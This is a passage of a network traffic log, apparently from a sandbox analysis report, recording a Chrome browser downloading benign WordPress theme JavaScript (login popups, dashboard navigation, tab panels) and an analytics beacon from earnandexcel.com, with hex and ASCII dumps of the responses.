2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 64 65 62 75 67 26 26 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 45 78 63 65 70 74 69 6f 6e 20 6f 63 63 75 72 72 65 64 20 77 68 65 6e 20 63 68 65 63 6b 69 6e 67 20 65 6c 65 6d 65 6e 74 20 22 2b 62 2e 69 64 2b 22 2c 20 63 68 65 63 6b 20 74 68 65 20 27 22 2b 65 2e 6d 65 74 68 6f 64 2b 22 27 20 6d 65 74 68 6f 64 2e 22 2c 6b 29 2c 6b 20 69 6e 73 74 61 6e 63 65 6f 66 20 54 79 70 65 45 72 72 6f 72 26 26 28 6b 2e 6d 65 73 73 61 67 65 2b 3d 22 2e 20 20 45 78 63 65 70 74 69 6f 6e 20 6f 63 63 75 72 72 65 64 20 77 68 65 6e 20 63 68 65 63 6b 69 6e 67 20 65 6c 65 6d 65 6e 74 20 22 2b 62 2e 69 64 2b 22 2c 20 63 68 65 63 6b 20 74 68 65 20 27 22 2b 65 2e 6d 65 74 68 6f 64 2b 22 27 20 6d 65 74 68 6f 64 2e 22 29 2c 6b 7d 7d 69 66 Data Ascii: debug&&window.console&&console.log("Exception occurred when checking element "+b.id+", check the '"+e.method+"' method.",k),k instanceof TypeError&&(k.message+=". Exception occurred when checking element "+b.id+", check the '"+e.method+"' method."),k}}if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.17	49850	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:45 UTC	975	OUT	GET /wp-content/themes/edumall/assets/js/login.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
2024-04-11 21:26:45 UTC	944	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:45 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8639a70f83-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-1d21" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R2dEu7T0i%2FbmR9h0r4S0pXTrvy5c6ZyMaV7mtivXE8j1xvzBIOVzNVFH7CVTtScp%2Ba8rM50%2BE%2B1hoKUAynNmx4JjWemENccDYDpTTIM71rlnUcaC0yvm4dMeQ%2BQuLso7R8w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:45 UTC	425	IN	Data Raw: 31 64 32 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 61 29 7b 74 68 69 73 2e 41 43 54 49 56 45 5f 43 4c 41 53 53 3d 22 6f 70 65 6e 22 2c 74 68 69 73 2e 69 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 65 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 70 6f 70 75 70 2d 6f 76 65 72 6c 61 79 2c 20 2e 62 75 74 74 6f 6e 2d 63 6c 6f 73 65 2d 70 6f 70 75 70 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 63 6c 6f 73 65 28 29 7d 29 7d 2c 74 68 69 73 2e 6f 70 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 22 2e 65 64 75 6d 61 6c 6c 2d 70 6f Data Ascii: 1d21!function(l){"use strict";function r(e,a){this.ACTIVE_CLASS="open",this.init=function(){var a=this;e.on("click",".popup-overlay, .button-close-popup",function(e){e.preventDefault(),e.stopPropagation(),a.close()})},this.open=function(){l(".edumall-po
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 65 3a 76 6f 69 64 20 30 3b 69 66 28 61 29 7b 76 61 72 20 6f 3d 5b 5d 3b 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6c 28 74 68 69 73 29 2e 64 61 74 61 28 22 45 64 75 6d 61 6c 6c 50 6f 70 75 70 22 29 3b 6f 2e 70 75 73 68 28 65 29 7d 29 3b 76 61 72 20 73 3d 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 3a 76 6f 69 64 20 30 2c 74 3d 5b 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 3d 6f 5b 65 5d 3b 69 66 28 21 65 29 72 65 74 75 72 6e 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 24 2e 45 64 75 6d 61 6c 6c 50 6f 70 75 70 20 6e 6f 74 20 69 6e 73 74 Data Ascii: e:void 0;if(a){var o=[];this.each(function(){var e=l(this).data("EdumallPopup");o.push(e)});var s=1<arguments.length?Array.prototype.slice.call(arguments,1):void 0,t=[];return this.each(function(e){e=o[e];if(!e)return console.warn("$.EdumallPopup not inst
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 3a 22 47 45 54 22 2c 63 61 63 68 65 3a 21 31 2c 64 61 74 61 54 79 70 65 3a 22 68 74 6d 6c 22 2c 64 61 74 61 3a 7b 61 63 74 69 6f 6e 3a 22 65 64 75 6d 61 6c 6c 5f 6c 61 7a 79 5f 6c 6f 61 64 5f 74 65 6d 70 6c 61 74 65 22 2c 74 65 6d 70 6c 61 74 65 3a 61 2e 64 61 74 61 28 22 74 65 6d 70 6c 61 74 65 22 29 7d 2c 73 75 63 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 69 6e 64 28 22 2e 70 6f 70 75 70 2d 63 6f 6e 74 65 6e 74 2d 69 6e 6e 65 72 22 29 2e 68 74 6d 6c 28 65 29 2c 61 2e 61 64 64 43 6c 61 73 73 28 22 70 6f 70 75 70 2d 6c 6f 61 64 65 64 22 29 2c 61 2e 45 64 75 6d 61 6c 6c 50 6f 70 75 70 28 22 6f 70 65 6e 22 29 2c 61 2e 66 69 6e 64 28 22 2e 6d 6f 2d 6f 70 65 6e 69 64 2d 61 70 70 2d 69 63 6f 6e 73 20 2e 62 74 6e 2d 73 6f 63 69 61 6c 22 29 2e Data Ascii: :"GET",cache:!1,dataType:"html",data:{action:"edumall_lazy_load_template",template:a.data("template")},success:function(e){a.find(".popup-content-inner").html(e),a.addClass("popup-loaded"),a.EdumallPopup("open"),a.find(".mo-openid-app-icons .btn-social").
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 26 21 65 2e 68 61 73 43 6c 61 73 73 28 22 6c 6f 67 67 65 64 2d 69 6e 22 29 26 26 6e 28 29 2c 65 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 6f 70 65 6e 2d 70 6f 70 75 70 2d 6c 6f 67 69 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 6e 28 29 7d 29 2c 65 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 6f 70 65 6e 2d 70 6f 70 75 70 2d 72 65 67 69 73 74 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 73 2e 68 61 73 43 6c 61 73 73 28 22 70 6f 70 75 70 2d 6c 6f 61 64 65 64 22 29 3f 73 2e 45 64 75 6d 61 6c 6c 50 6f 70 75 70 28 22 6f 70 65 6e Data Ascii: &!e.hasClass("logged-in")&&n(),e.on("click",".open-popup-login",function(e){e.preventDefault(),e.stopPropagation(),n()}),e.on("click",".open-popup-register",function(e){e.preventDefault(),e.stopPropagation(),s.hasClass("popup-loaded")?s.EdumallPopup("open
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 6f 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 6f 29 7d 2c 62 65 66 6f 72 65 53 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 22 2e 65 64 75 6d 61 6c 6c 2d 70 6f 70 75 70 22 29 2e 45 64 75 6d 61 6c 6c 50 6f 70 75 70 28 22 63 6c 6f 73 65 22 29 2c 6f 2e 61 64 64 43 6c 61 73 73 28 22 6f 70 65 6e 22 29 7d 2c 63 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 6f 70 65 6e 22 29 7d 7d 29 7d 29 2c 65 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 6f 70 65 6e 2d 70 6f 70 75 70 2d 6c 6f 73 74 2d 70 61 73 73 77 6f 72 64 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 Data Ascii: :function(e,a,o){console.log(o)},beforeSend:function(){l(".edumall-popup").EdumallPopup("close"),o.addClass("open")},complete:function(){o.removeClass("open")}})}),e.on("click",".open-popup-lost-password",function(e){e.preventDefault(),e.stopPropagation()
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 65 29 7b 76 61 72 20 61 3b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 28 61 3d 6c 28 22 23 65 64 75 6d 61 6c 6c 2d 70 6f 70 75 70 2d 69 6e 73 74 72 75 63 74 6f 72 2d 72 65 67 69 73 74 65 72 22 29 29 2e 68 61 73 43 6c 61 73 73 28 22 70 6f 70 75 70 2d 6c 6f 61 64 65 64 22 29 3f 61 2e 45 64 75 6d 61 6c 6c 50 6f 70 75 70 28 22 6f 70 65 6e 22 29 3a 6c 2e 61 6a 61 78 28 7b 75 72 6c 3a 24 65 64 75 6d 61 6c 6c 2e 61 6a 61 78 75 72 6c 2c 74 79 70 65 3a 22 47 45 54 22 2c 63 61 63 68 65 3a 21 31 2c 64 61 74 61 54 79 70 65 3a 22 68 74 6d 6c 22 2c 64 61 74 61 3a 7b 61 63 74 69 6f 6e 3a 22 65 64 75 6d 61 6c 6c 5f 6c 61 7a 79 5f 6c 6f 61 64 5f 74 65 6d 70 6c 61 74 65 22 2c 74 65 6d 70 6c 61 74 65 Data Ascii: e){var a;e.preventDefault(),e.stopPropagation(),(a=l("#edumall-popup-instructor-register")).hasClass("popup-loaded")?a.EdumallPopup("open"):l.ajax({url:$edumall.ajaxurl,type:"GET",cache:!1,dataType:"html",data:{action:"edumall_lazy_load_template",template
2024-04-11 21:26:45 UTC	195	IN	Data Raw: 70 61 72 65 6e 74 28 22 2e 66 6f 72 6d 2d 69 6e 70 75 74 2d 70 61 73 73 77 6f 72 64 22 29 2c 65 3d 61 2e 63 68 69 6c 64 72 65 6e 28 22 69 6e 70 75 74 22 29 3b 22 70 61 73 73 77 6f 72 64 22 3d 3d 3d 65 2e 61 74 74 72 28 22 74 79 70 65 22 29 3f 28 65 2e 61 74 74 72 28 22 74 79 70 65 22 2c 22 74 65 78 74 22 29 2c 61 2e 61 64 64 43 6c 61 73 73 28 22 73 68 6f 77 2d 70 77 22 29 29 3a 28 65 2e 61 74 74 72 28 22 74 79 70 65 22 2c 22 70 61 73 73 77 6f 72 64 22 29 2c 61 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 73 68 6f 77 2d 70 77 22 29 29 7d 29 7d 29 7d 28 6a 51 75 65 72 79 29 3b 0d 0a Data Ascii: parent(".form-input-password"),e=a.children("input");"password"===e.attr("type")?(e.attr("type","text"),a.addClass("show-pw")):(e.attr("type","password"),a.removeClass("show-pw"))})})}(jQuery);
2024-04-11 21:26:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.17	49851	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:45 UTC	983	OUT	GET /wp-content/themes/edumall/assets/js/tutor/general.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
2024-04-11 21:26:45 UTC	937	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:45 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e864d6b8cbf-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-a4d" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xeWXktZZtTNJllTv9zpjdBjJB0aMH84969iTIR%2B8XI59ozOgREqVWNUJ6STbW8%2FxVsu7Ek8PljsZuhEUJRZiWqK2POYBXHeUxsObjR4nNXc7C6EPdLsJoVNAQCTKii3ko44%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:45 UTC	432	IN	Data Raw: 61 34 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 6e 28 22 62 6f 64 79 22 29 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 31 32 30 30 3c 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3f 28 74 2e 61 64 64 43 6c 61 73 73 28 22 64 61 73 68 62 6f 61 72 64 2d 6e 61 76 2d 66 69 78 65 64 22 29 2c 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 64 61 73 68 62 6f 61 72 64 2d 6e 61 76 2d 6f 70 65 6e 65 64 22 29 29 3a 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 64 61 73 68 62 6f 61 72 64 2d 6e 61 76 2d 66 69 78 65 64 22 29 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 2d 6e 28 22 2e 64 61 73 68 62 6f 61 72 64 2d 6e 61 76 2d 68 65 61 64 65 72 22 29 2e 6f 75 74 65 72 48 65 69 Data Ascii: a4d!function(n){"use strict";var t=n("body");function e(){1200<=window.innerWidth?(t.addClass("dashboard-nav-fixed"),t.removeClass("dashboard-nav-opened")):t.removeClass("dashboard-nav-fixed");var e=window.innerHeight-n(".dashboard-nav-header").outerHei
2024-04-11 21:26:45 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 61 3b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 6e 28 22 62 6f 64 79 22 29 2e 68 61 73 43 6c 61 73 73 28 22 6c 6f 67 67 65 64 2d 69 6e 22 29 26 26 28 65 3d 28 61 3d 6e 28 74 68 69 73 29 29 2e 61 74 74 72 28 22 64 61 74 61 2d 63 6f 75 72 73 65 2d 69 64 22 29 2c 6e 2e 61 6a 61 78 28 7b 75 72 6c 3a 24 65 64 75 6d 61 6c 6c 2e 61 6a 61 78 75 72 6c 2c 74 79 70 65 3a 22 50 4f 53 54 22 2c 64 61 74 61 3a 7b 63 6f 75 72 73 65 5f 69 64 3a 65 2c 61 63 74 69 6f 6e 3a 22 74 75 74 6f 72 5f 63 6f 75 72 73 65 5f 61 64 64 5f 74 6f 5f 77 69 73 68 6c 69 73 74 22 7d 2c 62 65 66 6f 72 65 53 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 63 68 69 6c 64 72 65 6e 28 22 2e 62 75 74 74 6f 6e 2d 63 6f 6e 74 65 6e 74 2d 77 Data Ascii: nction(e){var a;e.preventDefault(),n("body").hasClass("logged-in")&&(e=(a=n(this)).attr("data-course-id"),n.ajax({url:$edumall.ajaxurl,type:"POST",data:{course_id:e,action:"tutor_course_add_to_wishlist"},beforeSend:function(){a.children(".button-content-w
2024-04-11 21:26:45 UTC	843	IN	Data Raw: 74 6f 72 2d 72 65 76 69 65 77 2d 22 2b 74 2b 22 20 2e 72 65 76 69 65 77 2d 63 6f 6e 74 65 6e 74 22 29 2e 68 74 6d 6c 28 65 29 2c 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 7d 7d 29 7d 29 2c 6e 28 22 2e 62 74 6e 2d 74 6f 67 67 6c 65 2d 6c 65 73 73 6f 6e 2d 73 69 64 65 62 61 72 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 6c 65 73 73 6f 6e 2d 73 69 64 65 62 61 72 2d 6f 6e 22 29 7d 29 2c 6e 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 74 75 74 6f 72 2d 73 69 6e 67 6c 65 2d 6c 65 73 73 6f 6e 2d 61 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 6c 65 73 73 6f 6e 2d 73 69 64 65 62 61 72 2d 6f 6e 22 29 7d 29 2c 6e 28 Data Ascii: tor-review-"+t+" .review-content").html(e),location.reload()}})}),n(".btn-toggle-lesson-sidebar").on("click",function(){t.toggleClass("lesson-sidebar-on")}),n(document).on("click",".tutor-single-lesson-a",function(){t.removeClass("lesson-sidebar-on")}),n(
2024-04-11 21:26:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.17	49853	172.253.63.154	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:45 UTC	615	OUT	GET /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-190016353-1&cid=668614997.1712870801&jid=175606831&gjid=701670373&_gid=837219450.1712870803&_u=YCDACEABBAAAACAAI~&z=1717519755 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:45 UTC	531	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=10886400; includeSubDomains; preload Date: Thu, 11 Apr 2024 21:26:45 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Last-Modified: Sun, 17 May 1998 03:00:00 GMT X-Content-Type-Options: nosniff Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:45 UTC	2	IN	Data Raw: 31 67 Data Ascii: 1g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.17	49854	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:45 UTC	979	OUT	GET /wp-content/themes/edumall/assets/js/tab-panel.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
2024-04-11 21:26:45 UTC	937	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:45 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e873dee42e3-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-500" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MdaZ3Ouhm6VZEQxZW4pnSWY%2FlrLL99rAluYQXZy5sVQGLe%2BCWVU0bTtrYcHQz3w4xbtoi5SNLOlMRqML5AqFz0hsEZHSayeLAk2a8vX43RxZvcftd4p7SBI1faXHxeOCtM8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:45 UTC	432	IN	Data Raw: 35 30 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 63 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 2e 66 6e 2e 45 64 75 6d 61 6c 6c 54 61 62 50 61 6e 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 61 3d 65 2e 66 69 6e 64 28 22 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 22 29 3b 30 3c 61 2e 6c 65 6e 67 74 68 26 26 61 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 28 74 68 69 73 29 5b 30 5d 2e 73 77 69 70 65 72 26 26 63 28 74 68 69 73 29 5b 30 5d 2e 73 77 69 70 65 72 2e 75 70 64 61 74 65 28 29 7d 29 3b 65 3d 65 2e 66 69 6e 64 28 22 2e 65 64 75 6d 61 6c 6c 2d 67 72 69 64 2d 77 72 61 70 70 65 72 22 29 3b 30 3c 65 2e 6c 65 6e 67 74 68 26 26 65 2e 45 64 75 6d 61 6c 6c 47 72 69 64 4c 61 79 6f 75 74 28 Data Ascii: 500!function(c){"use strict";c.fn.EdumallTabPanel=function(){function s(e){var a=e.find(".swiper-container");0<a.length&&a.each(function(){c(this)[0].swiper&&c(this)[0].swiper.update()});e=e.find(".edumall-grid-wrapper");0<e.length&&e.EdumallGridLayout(
2024-04-11 21:26:45 UTC	855	IN	Data Raw: 68 69 6c 64 72 65 6e 28 22 2e 65 64 75 6d 61 6c 6c 2d 6e 61 76 2d 74 61 62 73 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 61 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 65 3d 63 28 74 68 69 73 29 2e 70 61 72 65 6e 74 28 22 6c 69 22 29 3b 65 2e 68 61 73 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 7c 7c 28 65 2e 73 69 62 6c 69 6e 67 73 28 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2c 65 2e 61 64 64 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2c 74 3d 65 2e 69 6e 64 65 78 28 29 2c 69 2e 63 68 69 6c 64 72 65 6e 28 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2c 28 6c 3d 69 2e 63 68 69 6c 64 72 65 6e 28 29 2e 65 71 28 74 29 29 2e 61 64 64 43 6c 61 73 73 Data Ascii: hildren(".edumall-nav-tabs").on("click","a",function(e){e.preventDefault();e=c(this).parent("li");e.hasClass("active")\|\|(e.siblings().removeClass("active"),e.addClass("active"),t=e.index(),i.children().removeClass("active"),(l=i.children().eq(t)).addClass
2024-04-11 21:26:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.17	49855	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
